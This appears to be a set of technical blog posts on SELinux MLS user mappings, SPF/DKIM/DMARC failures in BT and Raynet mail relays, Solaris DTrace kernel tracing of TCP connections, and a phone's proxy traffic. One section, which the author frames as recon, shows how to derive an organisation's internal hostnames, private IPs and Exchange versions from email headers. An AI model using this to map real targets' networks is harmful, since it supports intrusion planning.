libsemanage.validate_handler: MLS range s0-s1:c1,c3 for Unix user XXX exceeds allowed range s0:c1,c3-s1:c1,c3 for SELinux user XXX libsemanage.validate_handler: seuser mapping [XXX -> (XXX, s0-s1:c1,c3)] is invalid libsemanage.dbase_llist_iterate: could not iterate over records
For example here, just search for libsemanage.validate_handler.
The answer should be straightforward, and relies on the fact that SELinux enforces mandatory access controls; aka stop you doing stupid or bad things (or at least what policy states are stupid/bad things), plus the tools stop stupid/bad configurations (again, at least what the developers state are such).
We can look at three types of user concept here. First, we have the traditional UNIX user as defined in /etc/passwd or your favourite password backend. Secondly, we have the concept of an SELinux user, which is more akin to a class or UNIX group. Finally, we have mappings which map the UNIX user to the SELinux user, which themselves (can) specify ranges.
SELinux users are managed by semanage user, whilst the mappings are managed by semanage login.
If we map a UNIX user to a SELinux user, we are stating that the UNIX user has a particular range of clearances to access and do stuff on the machine. However, when we set up the mapping we can further constrain the user, but cannot (shouldn't be able to) grant more than the base SELinux user they are mapped to.
So, here's an example on one of my test boxes.
The test box is running the mls policy and is using poly-instantiated directories of /tmp /var/tmp and $HOME based on the context (i.e. we can only see a home area or temp area commensurate to our current level.
First, lets create an SELinux user of devuser_u which has the standard user role of user_r:
[root@centos-7-2-t1 ~]# semanage user -a -R user_r -r s0-s1:c1,c3 devuser_u [root@centos-7-2-t1 ~]# semanage user -l
                Labelling  MLS/       MLS/                          SELinux User    Prefix     MCS Level  MCS Range            SELinux Roles
devuser_u       user       s0         s0-s1:c1,c3          user_r …
Now  let's create a user that is of that type:
[root@centos-7-2-t1 ~]# useradd -m -Z devuser_u dev1 [root@centos-7-2-t1 ~]# semanage login -l
Login Name           SELinux User         MLS/MCS Range        Service
__default__          user_u               s0                   * dev1                 devuser_u            s0-s1:c1,c3          * …
Now lets say that we wish for the user to be able to access a new category (compartment) of c8. We may state that we do this with the mapping, but as this user is an SELinux user of devuser_u this isn't going to work:
[root@centos-7-2-t1 ~]# semanage login -m -r s0-s1:c1,c3,c8 dev1 libsemanage.validate_handler: MLS range s0-s1:c1,c3,c8 for Unix user dev1 exceeds allowed range s0-s1:c1,c3 for SELinux user devuser_u libsemanage.validate_handler: seuser mapping [dev1 -> (devuser_u, s0-s1:c1,c3,c8)] is invalid libsemanage.dbase_llist_iterate: could not iterate over records ValueError: Could not commit semanage transaction
Instead we either need to create a new SELinux user (and map the unix user to it) or modify the existing one. So, lets modify the existing one so that it includes this new category:
[root@centos-7-2-t1 ~]# semanage user -m -r s0-s1:c1,c3,c8 devuser_u [root@centos-7-2-t1 ~]# semanage user -l
                Labelling  MLS/       MLS/                           SELinux User    Prefix     MCS Level  MCS Range            SELinux Roles
devuser_u       user       s0         s0-s1:c1,c3,c8       user_r …
Cool, that worked. Note that this does not update the individual mappings.
[root@centos-7-2-t1 ~]# semanage login -l
Login Name           SELinux User         MLS/MCS Range        Service
__default__          user_u               s0                   * dev1                 devuser_u            s0-s1:c1,c3          * …
So, lets do that.
[root@centos-7-2-t1 ~]# semanage login -m -r s0-s1:c1,c3,c8 dev1 [root@centos-7-2-t1 ~]# semanage login -l
Login Name           SELinux User         MLS/MCS Range        Service
__default__          user_u               s0                   * dev1                 devuser_u            s0-s1:c1,c3,c8       * …
So now all is well.
Providing the MLS/MCS range of the SELinux user is a superset of the range an individual user has, then you shouldn't have a problem.
A side note, I have found it is occasionally possible to sometimes modify the SELinux user to no longer be a superset; but then all other modifications against that user breaks until you fix it (i.e. make it a superset, then clear the categories or sensitivities you wish to remove from the member UNIX user mappings, then update the SELinux user); a bug perhaps.

Having recently built my home email server and wanting to be a good MTA I decided to look a number of anti-spam mechanisms. Whilst host-based anti-virus solutions and the like offer anti-spam engines, there also exist a number of other technologies to help MTAs determine if email is legit and which can have unintended consequences. There is also a brief look at understanding the internals of an org without access it (recon).
Here I'll briefly cover four of them: SPF, DKIM and DMARC. The fourth is a a common practice that if you see email originating from you (as defined by the From: address) which did not originate from your server, you just discard the email. A good number of organisations do this.
Finally, we will have a look at a couple of examples.
The first three listed aren't always enforced. However, that doesn't infer your email is going to get through. Those anti-spam engines can and do use the results to rate the email, so a misconfigured setup can result in mail been rated as spam or discarded, not by spf/dkim/dmarc directly, but by the anti-spam mechanism.
Further, as you will see, to have a good all-round solution, you will need DNSSec fully implemented.
There is a wealth of information on this subject, including dmarc.org and Google itself. Just search for it.
SPF
At a basic level, Sender Policy Framework (SPF) works by a domain publishing a DNS TXT record in it's domain to describe who sends mail on the behalf of the domain. Typically this ends with an all action which describes how the receiving MTA should handle unmatched senders. For example:
m0noc.net   text = "v=spf1 +mx -all" silentcircle.com  text = "v=spf1 include:spf.protection.outlook.com -all" google.com  text = "v=spf1 include:_spf.google.com ~all" yahoo.com   text = "v=spf1 ptr:yahoo.com ptr:yahoo.net ?all" # NB: the main rec is a redirect
A minus preceding the all infers that you should perform a a 'hard fail', a tilde infers a 'soft fail' and a question mark infers treat it as if the SPF record didn't exist (i.e. is not a positive validation; it is 'neutral').
Oftentimes, the receiving MTA does not discard a mail, even if it is a hard fail. However, an anti-spam solution may make a determination or adversely rank it. It is up to the policy that the receiver chooses to implement as to how to proceed. My server rejects hard fails but currently allows soft fails (which may get rated as spam by either my mail server or mail client).
As a result of this, and organisations rejecting email that states it came from them, but from an unknown host, mailing lists will often rewrite the From: address so you see the on behalf of statements in your email.
DKIM
At a basic level DKIM works by adding a mail header to outgoing messages. This is an assertion to protect certain header fields from being altered and to provide an assertion that it was signed by an authorized host; for example protecting the From: and Subject: fields.
The linkage to the authorized host is via a selector. This is a hook to a DNS TXT record. For example, a yahoo.com originated email may have the selector s2048, so we prepend this to domain and the subdomain _domainkey to get published bit including the public key. The following is truncated for brevity.
s2048._domainkey.yahoo.com    text = "k=rsa\; p=MIIBIjANBgkqhkiG.....”
With DKIM there is a lot of debate about what mailing lists and forwarders do with this. As previously mentioned, due to a number of reasons the From: field will get re-written. However, this will then break the DKIM signature. So, do you keep it and risk a receiving MTA or end-user anti-spam solution treating it as SPAM, or not.
DMARC
Domain-based Message Authentication, Reporting & Conformance (DMARC) sits on top of SPF and DKIM. It allows a domain to publish a policy on how to handle messages that fail SPF and DKIM tests, and also publish a reporting function.
Like SPF and DKIM the policy is published as a DNS TXT record. For example:
_dmarc.m0noc.net  text = "v=DMARC1\; p=reject\; pct=100\; rua=mailto:dmarc-feedback@m0noc.net\; aspf=r\; adkim=r\;" _dmarc.gmail.com  text = "v=DMARC1\; p=none\; rua=mailto:mailauth-reports@google.com" _dmarc.google.com text = "v=DMARC1\; p=reject\; rua=mailto:mailauth-reports@google.com" _dmarc.yahoo.com  text = "v=DMARC1\; p=reject\; pct=100\; rua=mailto:dmarc_y_rua@yahoo.com\;"
The p= part is the policy: none infers to just report on it, quarantine infers mark failed messages as spam, and reject infers reject the message at the SMTP layer.
Again, it is up to the receiving MTA to determine if they honour the policy or not.
Example: Sending to (some) BT.com addresses
A recent email I sent to someone at bt.com had a delivery receipt set. The receipt will contain an attachment which is the header of the original message that was sent, and revealed a few interesting things about the path it (most likely) took. It also reveal a bit of information about how the network is set up and what's running on them. Useful information you can publicly get hold of; remember that the organisation voluntarily gave this information as part of a standard email.
Here is an edited version containing the Received: headers.
Received: from HE1PR06CA0108.eurprd06.prod.outlook.com (10.169.114.34) by  DB5PR06MB1495.eurprd06.prod.outlook.com (10.164.40.141) with Microsoft SMTP  Server id 15.1.557.21 Received: from VE1EUR02FT011.eop-EUR02.prod.protection.outlook.com  (2a01:111:f400:7e06::204) by HE1PR06CA0108.outlook.office365.com  (2a01:111:e400:7a1b::34) with Microsoft SMTP Server id 15.1.587.13 via Frontend Transport Authentication-Results: spf=fail (sender IP is 62.239.224.235)  smtp.mailfrom=m0noc.net; btgroupcloud.mail.onmicrosoft.com; dkim=fail  (signature did not verify)  header.d=m0noc.net;btgroupcloud.mail.onmicrosoft.com; dmarc=fail  action=oreject header.from=m0noc.net;bt.com; dkim=fail (signature did not  verify) header.d=m0noc.net; Received-SPF: Fail (protection.outlook.com: domain of m0noc.net does not  designate 62.239.224.235 as permitted sender)  receiver=protection.outlook.com; client-ip=62.239.224.235;  helo=RDW083A006ED62.bt.com; Received: from RDW083A006ED62.bt.com (62.239.224.235) by  VE1EUR02FT011.mail.protection.outlook.com (10.152.12.150) with Microsoft SMTP  Server id 15.1.587.6 via Frontend Transport Received: from EVMHT66-UKRD.domain1.systemhost.net (10.36.3.103) by  RDW083A006ED62.bt.com (10.187.98.11) with Microsoft SMTP Server id  14.3.181.6 Received: from smtpe1.intersmtp.com (10.187.98.11) by  EVMHT66-UKRD.domain1.systemhost.net (10.36.3.103) with Microsoft SMTP Server id 8.3.342.0 Received: from tbhext01.m0noc.net (82.70.154.45) by smtpe1.intersmtp.com  (62.239.224.235) with Microsoft SMTP Server id 14.3.181.6
We have to read these bottom up to track the flow.
First we note from http://www.oxfordsbsguy.com/2014/01/27/exchange-server-and-update-rollups-build-numbers-2/ (or other sources) that a Microsoft SMTP server id of 15.1.x.x is probably Exchange Server 2016; it seems that Microsoft are running a really new version of Microsoft Exchange ;-)
We also note that 14.3.181.6 is Update Rollup 5 for Exchange Server 2010 SP3 and 8.3.342.0 is probably Update Rollup 12 for Exchange Server 2007 Service Pack 3.
Now for the interconnect.
82.70.154.45 is my mail server; the origin of the email. This connected to smtpe1.intersmtp.com (ip address 62.239.224.235).
The next line up then states the message was received from smtpe1.intersmtp.com (10.187.98.11) by a different host. This tells us that the public interface for smtpe1.intersmtp.com has an IP address of 62.239.224.235 and an internal interface of 10.187.98.11 (which is also an RFC1918 address; not valid on the Internet; hence internal – or there is a bit of NAT). We can repeat this up the chain to reveal the likely path.
We can also see that smtpe1.intersmtp.com is also known internally as RDW083A006ED62.bt.com (the reverse path with the same IP's and the receiving path).
Finally, the outgoing path goes from a public address to an rfc1918 address. This suggests some DMZ with a B2B link to Microsoft (there are other possibilities).
In some cases, viewing whois records can also offer some intelligence.
I will leave it as an exercise for the reader to produce a diagram of the interconnect.
What is of particular interest is that the email goes into BT then back out again to the Microsoft cloud.
This is where the problem occurs. Earlier on, and further down in the header we see this:
Received-SPF: Pass (RDW083A006ED62.bt.com: domain of REDACTED@m0noc.net  designates 82.70.154.45 as permitted sender) receiver=RDW083A006ED62.bt.com;  client-ip=82.70.154.45; helo=tbhext01.m0noc.net
It shows that when it was on its initial incoming path the BT mail servers correctly validated the SPF rule. However, as it went on its way out to the cloud this test was re-done (see the earlier trace, key part of SPF highlighted in red), along with the embedded DKIM signature and the DMARC policy for my domain. Accordingly, it all failed as it was basing its results on one of the internal BT relays being authorized to generate mail for my domain and had already munged some of the other fields which broke DKIM as well, so DMARC then also failed.
Epic fail.
Raynet
So what could be worse? Perhaps ensuring that any sender with an SPF fail policy is marked as spam just because you evaluated the SPF policy against your Internet facing email relay server?
This is what the Raynet mail forwarding service appears to be doing; lets see if you concur...
The reason I was looking at this one is that none of my emails were getting through when sent to this account when it was set up to forward to my ISP.
First, the original failure was because the forwarder forwarded the email as-is, without changing the From: field. Accordingly my ISP was discarding the email since the Raynet server isn't one of my ISP's email servers, and the mail claims it originated from my ISP.
How do I know? Well I changed the forwarding to my m0noc.net address and did the same thing. A mail sent came back (in the logs at least); with two SPF fails. On marking it as SPAM by the second Raynet server, and then me as the From: field asserted it was from m0noc.net, but my SPF rules stated 'computer says no'/hard fail.
The key headers (cut for brevity) are:
Received: from mail.raynet-uk.net (www.raynet-uk.net [88.208.249.159]) Received: from amg1.gbse.gb.net (amg1.gbse.gb.net [91.234.185.121]) by mail.raynet-uk.net Received: from tbhext01.m0noc.net ([82.70.154.45]:33182) by amg1.gbse.gb.net   with esmtp (Exim 4.82_1-5b7a7c0-XX) Subject: [SPAM] test X-hMailServer-Spam: YES X-hMailServer-Reason-1: Blocked by SPF () - (Score: 3) X-hMailServer-Reason-Score: 3
As we can see, there are X-hMailServer headers that state that this email is spam due to an SPF failure.
Now, given that I'm not running hMailServer (a freeware mail server) and Raynet's first mail server is running Exim 4.82, we can reasonably assume that 91.234.185.121 is relaying it to 88.208.249.159, and it is this second server that is running hMailServer (we can research that online).
Secondly, as I know my SPF records are valid (others such as Google, Yahoo, etc all confirm it is OK), we can reasonably assume that the second Raynet server is performing the SPF check against the first Raynet server; which will of cause always fail where there is an SPF record for the sending domain.
Whois is also interesting with this one.
I'm sure you have seen many other examples of anomalies that are misconfiguration or logic issues rather than a suspect email.

Following on from Part 1, we will further enhance our script to trace incoming connections through the kernel to the application.
Before doing that we will tweak the script to provide a CSV output. We do this using a BEGIN probe to print the header and then update the probes. We will also split the probes. Where there is a match, multiple probes are triggered in the order listed in the script. We can therefore say we are only interested in a specific port and then do the heavy lifting later on.
It is also important that you clear variables once you finish with them so as not to fill up the kernel buffers (you will loose traces if you don't; given enough probes firing).
#!/usr/sbin/dtrace -Cs
#pragma D option quiet
#include <sys/types.h> #include <sys/socket.h> #include <netinet/ip.h>
BEGIN {         printf("TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax\n"); }
fbt:ip:tcp_conn_request:entry {         self->tcpq = *(tcp_t**)((char*)arg0+0x28);         self->lport = ntohs(*(uint16_t*)((char*)self->tcpq->tcp_connp+0x10a)); }
fbt:ip:tcp_conn_request:entry /self->lport == $1/ {         this->srcAddr = 0;         this->srcPort = 0;
        printf("%d,%Y,%s,0x%08x,%d,%d,%d,%d,%d\n",                 timestamp, walltimestamp, "syn",                 this->srcAddr, this->srcPort,                 self->lport,                 self->tcpq->tcp_conn_req_cnt_q0,                 self->tcpq->tcp_conn_req_cnt_q,                 self->tcpq->tcp_conn_req_max         ); }
fbt:ip:tcp_conn_request:return /self->lport/ {         self->tcpq = 0;         self->lport = 0; }
Whilst in tcp_conn_request() we don't actually have a connection from the client; the kernel is about to build one.
It is the message in the call that is actually the incoming packet to process. IP has dealt with it; now it is TCP's turn. Remember that the tcpq we have used so far is the listener's connection (the one that is in the listen state), not the eager's (new connection); so looking at that is not going to be productive.
We could probe another function or we could decode the message; tcp_accept_comm() is called by tcp_conn_request() to accept the connection providing a few things are satisfied such as Qmax not been reached. If we are only interested in connections that aren't dropped due to, e.g. Q==Qmax, then this would be a good place. However, if we also want to capture failed connections, we need to do the processing ourselves.
So, let's decode the message :D
Looking at the source for tcp_conn_request() we can see that arg1 (mp, the mblk_t) is the message. Not surprising as this is a STREAMS module. Further down we can see where the data is and the format of the data. i.e. we have a pointer to the IP header here.
ipha = (struct ip *)mp->b_rptr;
As mblk_t is a standard structure we can easily map this within our DTrace script. We can therefore change the setting of srcAddr to the following:
        this->mblk = (mblk_t *)arg1;         this->iphdr = (struct ip*)this->mblk->b_rptr;         this->srcAddr = this->iphdr->ip_src.s_addr;
If we then run the script and connect to the server running on 172.16.170.133 from client 172.16.170.1 we get the following:
root@sol10-u9-t4# ./tcpq_ex7.d 22 TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax 180548302609318,2016 Aug 11 14:37:02,syn,0x85aa10ac,0,22,0,0,8
As you can see, the hex address is that of the destination and not the source. Given that an IP header is a standard format (defined in rfc791) this is a bit surprising. So, what is going on?
A Slight Detour
The IP header is defined in /usr/include/netinet/ip.h. It is as expected. Whilst I won't go into all the steps to find the cause, here is the quick version.
The DTrace compiler uses the C pre-processor, but compiles it's own code for the kernel to use. DTrace should be able to import C headers to allow you to use names, etc, but clearly something has gone wrong.
One test I did is to create my own header using the constituent parts and a key tweak; one struct doesn't use fields (bitmasks) but both are the same size.
#ifndef MYIP_H #define MYIP_H
#include <sys/types.h>
typedef struct {         uchar_t         c1;         uchar_t         c2,c3,c4;         ushort_t        s1,s2,s3,s4;         uint32_t        src,dst; } myip_t;
typedef struct {         uchar_t         c1_1:4,c1_2:4;         uchar_t         c2,c3,c4;         ushort_t        s1,s2,s3,s4;         uint32_t        src,dst; } myip2_t;
#endif
Then, if we run this through a simple C program that just prints the sizes all looks good:
#include <stdio.h> #include "myip.h" int main(int argc, char *argv[]) {         printf("myip_t : %u\n", sizeof(myip_t));         printf("myip2_t: %u\n", sizeof(myip2_t));         return 0; }
Which gives the following output:
root@sol10-u9-t4# ./a.out myip_t : 20 myip2_t: 20
Then within the BEGIN probe of the DTrace we do the same (not forgetting to include the header):
        printf("myip_t : %d\n", sizeof(myip_t));         printf("myip2_t: %d\n", sizeof(myip2_t));
Which gives the following output:
root@sol10-u9-t4# ./tcpq_ex8.d -I `pwd` 22 TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax myip_t : 20 myip2_t: 24
This is the problem. A few more tests show that the DTrace compiler cannot handle fields (bitmasks) in the C structs correctly, at least in the situations I've tested (me'thinks a bug). I will leave it as an exercise for the reader to analyse this further.
Back to the Task at Hand
As the IP header is well-defined we can just define the offset without further analysis.
this->srcAddr = *(uint32_t*)((char*)(this->iphdr)+0xc);
This yields the correct IP address:
root@sol10-u9-t4# ./tcpq_ex9.d 22 TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax 181523558976884,2016 Aug 11 14:53:17,syn,0x01aa10ac,0,22,0,0,8
As the header length of the IP header and the TCP header has the bitmask after the port, we should be able to extract the port quite easily (setting srcPort to the result):
        this->ihl = 4 * ((int)*((char*)(this->iphdr)) & 0xf);         this->tcphdr = (struct tcphdr*)((char*)(this->iphdr)+(this->ihl));         this->srcPort = ntohs(this->tcphdr->th_sport);
This yields the following output:
root@sol10-u9-t4# ./tcpq_ex10.d 22 TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax 181903328660708,2016 Aug 11 14:59:37,syn,0x01aa10ac,40950,22,0,0,8
Which is confirmed via netstat:
root@sol10-u9-t4# netstat -an | fgrep 40950 172.16.170.133.22    172.16.170.1.40950   29312      0 49232      0 ESTABLISHED
Completion of the handshake
As you can guess, there are various locations that we can probe the kernel in order to mark events. In the case of the completion of the three-way handshake, I'm going to go for tcp_send_conn_ind() in usr/src/uts/common/inet/tcp/tcp_tpi.c. The key function is actual tcp_rput_data() in usr/src/stand/lib/tcp/tcp.c where the state is changed to EST.
Anyway, in tcp_send_conn_ind() arg0 is the listener and arg1 is a mblk_t containing a pointer to a struct T_conn_ind. However, as we have already processed the original syn packet, we also have an eager tcp_t. We can extract that, and use the offsets we know to get the address and port of the peer.
We can combine probes where there is common processing. In this particular kernel arg0 is the same.
fbt:ip:tcp_conn_request:entry, fbt:ip:tcp_send_conn_ind:entry {         self->tcpq = *(tcp_t**)((char*)arg0+0x28);         self->lport = htons(*(uint16_t*)((char*)self->tcpq->tcp_connp+0x10a)); }
We can now predicate all the other probes within the kernel thread to where the port maps what we are after. This includes a simple way to label the action. We can also change the variable context from 'this' (lexical scope) to 'self' (thread scope) to pass the parameters that are in different probes but the same thread.
First, tcp_conn_request(), which should be familiar:
fbt:ip:tcp_conn_request:entry /self->lport == $1/ {         self->action = "syn";         this->mblk = (mblk_t *)arg1;         this->iphdr = (struct ip*)this->mblk->b_rptr;
        this->ihl = 4 * ((int)*((char*)(this->iphdr)) & 0xf);         this->tcphdr = (struct tcphdr*)((char*)(this->iphdr)+(this->ihl));
        self->srcAddr = *(uint32_t*)((char*)(this->iphdr)+0xc);         self->srcPort = ntohs(this->tcphdr->th_sport); }
Then tcp_send_conn_ind():
fbt:ip:tcp_send_conn_ind:entry /self->lport == $1/ {         self->action = "syn-aa";         this->mblk = (mblk_t *)arg1;         this->tconnind = (struct T_conn_ind*)(this->mblk->b_rptr);         this->tcpp = *(tcp_t**)(((char*)this->tconnind)+(this->tconnind->OPT_offset));
        self->srcPort = ntohs(*(uint16_t*)((char *)this->tcpp->tcp_connp+0x108));         self->srcAddr = *(uint32_t*)((char*)this->tcpp->tcp_connp+0x104); }
The printout then is common to both, since all of it is data driven from the previous stages:
fbt:ip:tcp_conn_request:entry, fbt:ip:tcp_send_conn_ind:entry /self->lport == $1/ {         printf("%d,%Y,%s,0x%08x,%d,%d,%d,%d,%d\n",                 timestamp, walltimestamp,                 self->action,                 self->srcAddr, self->srcPort,                 self->lport,                 self->tcpq->tcp_conn_req_cnt_q0,                 self->tcpq->tcp_conn_req_cnt_q,                 self->tcpq->tcp_conn_req_max         ); }
Finally we clear the buffers to tidy up:
fbt:ip:tcp_conn_request:return, fbt:ip:tcp_send_conn_ind:return /self->lport/ {         self->tcpq = 0;         self->lport = 0;         self->action = 0;         self->srcAddr = 0;         self->secPort = 0; }
If we run this on a connection we can see the two parts. Notice the value of Q0. On entry it is one as we have an embryonic connection which is about to transition to Q.
root@sol10-u9-t4# ./tcpq_ex11.d 22 TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax 185255847646301,2016 Aug 11 15:55:29,syn,0x01aa10ac,41010,22,0,0,8 185255847845639,2016 Aug 11 15:55:29,syn-aa,0x01aa10ac,41010,22,1,0,8
If we fill up Q so it equals Qmax (using my test script from a previous blog) and retry, accepting a connection on the queue part way through to free the kernel backlog we get this, clearly showing the remote servers tcp retries.
root@sol10-u9-t4# ./tcpq_ex11.d 2000 TS,Date,Action,Source IP,Source Port,Dest Port,Q0,Q,Qmax 185458485779874,2016 Aug 11 15:58:52,syn,0x01aa10ac,50066,2000,0,2,2 185459488194513,2016 Aug 11 15:58:53,syn,0x01aa10ac,50066,2000,0,2,2 185461492294103,2016 Aug 11 15:58:55,syn,0x01aa10ac,50066,2000,0,2,2 185465496397317,2016 Aug 11 15:58:59,syn,0x01aa10ac,50066,2000,0,1,2 185465496517076,2016 Aug 11 15:58:59,syn-aa,0x01aa10ac,50066,2000,1,1,2
As you can see, the max'ed out queue resulted in the connection taking 185465496517076 minus 185458485779874 = 7010737202 ns (or 7.01 seconds) to establish the connection.
In the next part we will look at extending this into the application, using both syscall tracing and userspace tracing.
As always, please can you provide feedback so I can improve the blog.

Time to poke around the kernel and do a simple bit of reversing.
Whether you are a sysadmin, penetration tester, or reverse engineer, if you don't know about Solaris DTrace you will want to. It allows for low-latency instrumentation of the system. This includes function boundary tracing (FBT) of pretty much any function in the kernel and any application running on the server.
People have been able to solve complex problems in applications on other platforms simply because the application also ran on Solaris and they could use DTrace on that port of the application.
You can inspect memory in the kernel and application based on events, and much more. You can even get the kernel to lie to userland processes (with filtering on what it will lie to).
But we are getting ahead of ourselves.
As an example, which I'll cover a very small part here, I had an application that had multiple serious issues that even the vendor was struggling to solve.
To identify the problem areas the most powerful script I wrote was a single DTrace script. This single script was able to trace all the individual requests from the arrival of the initial connection and the three-way handshake using kernel FBT (including when Q = Qmax), through to the system call (syscall tracing), on to the listening thread within the Java app, and then the handover to the worker thread (user FBT) and keep an eye on all Java safepoints and then tell me what was blocking the threads (filesystem issues – sometimes closing a file descriptor took several seconds). All these stages had issues, and sometimes the Java safepoints aggravated the situation; but the picture it painted was invaluable – we could prove what was the cause before fixing it, not just say something was the probable cause, and do this directly on the live system. Tracing all of this without impacting the live application.
To start we will look at monitoring the incoming connection (the first syn packet), and whilst we are in the listener perimeter (mutual exclusion of the listener in interrupt context) we will report on the value of q0/q/qmax. i.e. we know if a connection is ignored because we can prove q==qmax. Using ndd only gives you a point in time, here we are provably showing what the settings are at the time that specific connection is evaluated within the kernel.
It helps to have the Solaris source code (or a version of it) – see https://github.com/illumos/illumos-gate.
Our first DTrace scripts
In source file usr/src/stand/lib/tcp/tcp.c we have tcp_conn_request(). It's first parameter is a tcp_t, which is defined in /usr/include/inet/tcp.h. As a reverse engineer we could figure this out without the source code, but I will leave that as an exercise.
The tcp_t has tcp_conn_req_cnt_q0, tcp_conn_req_cnt_q, and tcp_conn_req_max for Q0, Q and Qmax respectively.
Within this structure we also have a struct conn_s (tcp_connp) pointer, which is defined in /usr/include/inet/ipclassifier.h. Then in tcp_connp we have a union of structs, such that the local port is at u_port.tcpu_ports.tcp_lport. So, the script would be:
#!/usr/sbin/dtrace -Cs
#pragma D option quiet
#include <sys/types.h> #include <sys/socket.h> #include <netinet/ip.h>
fbt:ip:tcp_conn_request:entry {         self->tcpq = (tcp_t*)arg0;
        printf("tcpq: %p\n", self->tcpq );
        printf("q0/q/qmax: %d/%d/%d\n",                 self->tcpq->tcp_conn_req_cnt_q0,                 self->tcpq->tcp_conn_req_cnt_q,                 self->tcpq->tcp_conn_req_max         );         printf("conn_lport: %d\n", (uint32_t)self->tcpq->tcp_connp->u_port.tcpu_ports.tcpu_lport ); }
If we run the script and then create a new connection to 22/tcp (e.g. using nc or telnet with a dst port) we see this:
# ./tcpq_ex1.d dtrace: error on enabled probe ID 1 (ID 29873: fbt:ip:tcp_conn_request:entry): invalid alignment (0x603184280103) in action #5 at DIF offset 32
So, what is wrong. First, lets comment out all the printf's except the one that prints the address of arg0 and re-try:
root@sol10-u9-t4# ./tcpq_ex2.d tcpq: ffffffff879e9b00
If we then look for the address using ndd we see that this doesn't look right:
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(TCP|00022)'     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 022 ffffffff879e9d00 0 :: 00022 00000081 0/0/8
After a bit of diagnostics it appears that we may have made a false assumption. After all, we are basing the functionality on an open source version of Solaris and a major version of Solaris has many major changes between updates, and I'm running update 9 (on Intel).
root@sol10-u9-t4# head -1 /etc/release                     Oracle Solaris 10 9/10 s10x_u9wos_14a X86
If we look at the open source code we see that all versions have the following as the first test. It is therefore reasonable to expect that the closed source version will have that first (or near the first) test.
if (tcp->tcp_conn_req_cnt_q >= tcp->tcp_conn_req_max) {
So, lets run up a kernel debugger and have a look at the assembly of tcp_conn_request(). Here is the truncated and annotated output.
root@sol10-u9-t4# mdb -k Loading modules: ….. > ::dis tcp_conn_request ... tcp_conn_request+0xc:           movq   %rdi,%r15           ; arg0 into r15 tcp_conn_request+0xf:           movq   %r12,-0x20(%rbp) tcp_conn_request+0x13:          movq   0x28(%r15),%r12     ; arg0 offset 0x28 into r12 … tcp_conn_request+0x39:          cmpl   $-0x3,0x20(%r12)     ; some other test tcp_conn_request+0x3f:          je     +0x21    <tcp_conn_request+0x60> tcp_conn_request+0x41:          call   +0x7e70c2f       <freemsg> … tcp_conn_request+0x74:          movl   0x1d0(%r12),%edx tcp_conn_request+0x7c:          cmpl   %edx,0x1cc(%r12)     ; cmp q and qmax? tcp_conn_request+0x84:          jge    +0x8fd   <tcp_conn_request+0x981>
It appears that arg0 may not be tcp_t after all, but if we look at the offset 0x28 from arg0 we will find a pointer to it. In this case, there may be a public structure this maps to, there may not. I will leave that as an exercise for the reader.
Lets re-write the setting of self->tcpq to be the following and try again.
self->tcpq = *(tcp_t**)((char*)arg0+0x28);
This time it looks better:
root@sol10-u9-t4# ./tcpq_ex3.d tcpq: ffffffff879e9d00 q0/q/qmax: 0/0/8 conn_lport: 0
So, Qmax etc look good but conn_lport doesn't.
We know that the tcp_t address is right from ndd, and that from tcp_lookup_listener_ipv4() we are looking in the right place for the local port, so in this case it may be that the metadata DTrace is using is not the actual structure (something is different). In this case lets go back to the kernel debugger to see if we can find something that could be a “port 22” in the conn_s structure.
> ffffffff879e9d00::print -t tcp_t tcp_connp struct conn_s *tcp_connp = 0xffffffff879e9b00 > 0xffffffff879e9b00/300B 0xffffffff879e9b00:             0       0       0       0       0       0       0       0       3       0       0       0                       0       0       0       0       0       0       0       0       0       0       0       0       9       0       …                 0       0       0       0       0       0       0       0       0       0       0       0       0       0                       0       0       0       16      6       0       0       0       0       0       0       0       0       0 …
This is at offset 266 (0x10a); so lets change this value to the following and re-run.
printf("conn_lport: %d\n", *(uint16_t*)((char*)self->tcpq->tcp_connp+0x10a) );
This time we get a value, but it doesn't look right:
root@sol10-u9-t4# ./tcpq_ex4.d tcpq: ffffffff879e9d00 q0/q/qmax: 0/0/8 conn_lport: 5632
As we are on Intel and we are printing a network port, there is a good change this is in network byte order. Simple to test; we pass it through htons().
printf("conn_lport: %d\n", htons(*(uint16_t*)((char*)self->tcpq->tcp_connp+0x10a)) );
This time all the values look right:
root@sol10-u9-t4# ./tcpq_ex5.d tcpq: ffffffff879e9d00 q0/q/qmax: 0/0/8 conn_lport: 22
As this is event driven and we haven't added any predicates we can just try another port to confirm things look ok. e.g. 111/tcp:
tcpq: ffffffff800d8240 q0/q/qmax: 0/0/64 conn_lport: 111
And a quick check with ndd confirms this:
root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(TCP|00111)'     TCP            zone IP addr         port  seqnum   backlog (q0/q/max) 367 ffffffff800d8240 0 ::ffff:0.0.0.0 00111 00000010 0/0/64
A quick note, the reason q0 is not at least one. We are evaluating the parameters on entry to the function that will update them.
If we take a step back and think what we have done. We are now dynamically tracing incoming SYN packets caused by a network interrupt whilst within the mutual exclusion of the listener perimeter in interrupt context on a running (live) system. We are therefore certain as to the values of q0/q/qmax at that point in time. How awesome is that.
In the next part we will update the script so we also report on the origin of the packet. We will also add some predicates to only look at a particular listener.
I would appreciate some feedback on my articles, at least let me know you are reading them. Ideally, let me know where I could improve the Blog.

With this blog entry I thought I would ask a question.
As you would expect, someone with my background has a home network that is someone different to that of the average home user. Part of that is the use of a web proxy server, so all devices need to go via that to access the outside world over http-type protocols; including devices such as phones.
This can be very interesting; learning what devices actually want to talk to; which obey your proxy settings and which attempt to go direct.
If we take a Samsung android phone, for example. I see invalid requests which show up as the following on the web proxy (these aren't valid proxy requests if you look at a packet capture):
NONE/400 4130 NONE error:invalid-request - HIER_NONE/- text/html
We also see the usually 'big data' connections you now get with large corporates, such as:
TCP_DENIED/403 3713 CONNECT ew1.reg.bigdata.ssp.samsung.com:80 - HIER_NONE/- text/html
What sparked by interest here is that it is an SSL connection over port 80. I quick nc and s_client connect prove it is SSL. This then showed it was self-signed.
